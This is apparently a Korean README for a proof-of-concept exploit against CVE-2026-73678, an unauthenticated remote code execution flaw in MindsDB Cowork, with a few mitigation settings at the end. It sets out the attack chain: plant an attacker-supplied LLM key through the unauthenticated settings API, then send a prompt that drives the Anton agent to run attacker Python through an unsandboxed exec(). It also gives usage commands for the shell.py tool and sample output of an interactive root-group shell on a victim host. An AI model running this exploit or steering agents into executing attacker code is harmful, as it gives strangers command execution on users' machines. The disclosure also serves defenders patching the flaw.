
CVE-2026-73678에 대한 PoC 익스플로잇: 공격자가 제공한 LLM 키와 샌드박스가 적용되지 않은 스크래치패드 exec를 통해 OS 명령을 실행하여 MindsDB Cowork에서 비인증 RCE를 달성합니다.
CVE-2026-73678 (CVSS 3.1 10.0 Critical, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)에 대한 PoC입니다.
전체 분석 글: www.hunt-benito.com/blog/bring-your-own-key-cve-2026-73678-unauthenticated-rce-in-mindsdb-cowork/
Cowork cowork-server FastAPI 사이드카는 인증 없이 /api/v1/을 노출하며
(CWE-306), CORS allow_origins=["*"] (CWE-942), 그리고 Anton 에이전트의 scratchpad
도구는 샌드박스 없이 원시 exec()를 통해 LLM이 생성한 Python을 실행합니다 (CWE-94).
공격 체인: PUT /api/v1/settings/*를 통해 공격자 자신의 LLM 키를 주입 → 에이전트가
스크래치패드에서 공격자 코드를 실행하도록 하는 프롬프트와 함께 POST /api/v1/responses/ 호출 →
앱을 실행 중인 사용자 권한으로 임의 OS 명령 실행.
MindsDB의 권고 GHSA-jcxw-h8ph-pxpv에 포함된 PoC를 기반으로 작성했습니다 (크레딧: Ho Viet Khanh / HK4zCzi).
127.0.0.1:26866)# against a local dev instance (make dev-web)
python3 shell.py AIzaSy... gemini
# explicit target + model
API=http://127.0.0.1:26866/api/v1 python3 shell.py sk-... openai gpt-4o-mini
[*] Setting provider=gemini model=gemini-2.5-flash
[*] validate: {"status": "ok", "configReady": true, ...}
=======================================================
RCE SHELL (type shell commands, 'exit' to quit)
=======================================================
$ id
uid=1000(victim) gid=1000(victim) groups=1000(victim),27(sudo)
생성된 스니펫은 피해자 프로세스 내부에서 os.urandom(4).hex()를 계산하고
이를 /tmp/RCE_PROOF.txt에 기록합니다. 프롬프트는 모델에게 실행 없이는 논스를
알 수 없다고 알려줍니다. 반환된 텍스트에 디스크의 파일과 일치하는 논스가 포함되어
있다면, 코드가 실제로 실행되었음을 입증합니다 — 환각을 일으키는 모델은 이를 생성할 수 없습니다.
export COWORK_REQUIRE_AUTH=true # auth exists but defaults OFF
export COWORK_AUTH_TOKEN="<long-random>" # or let it auto-generate
export COWORK_ALLOWED_ORIGINS='["http://localhost:26866"]'
# never set COWORK_SERVER_HOST beyond 127.0.0.1; rotate all secrets reachable
# by the account that ran the app
패치된 릴리스 태그는 없습니다. 수정 사항은 cowork-server/anton main 브랜치에만 반영되어 있습니다.
승인된 보안 테스트 및 연구 목적으로만 사용하십시오. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대해 실행하지 마십시오.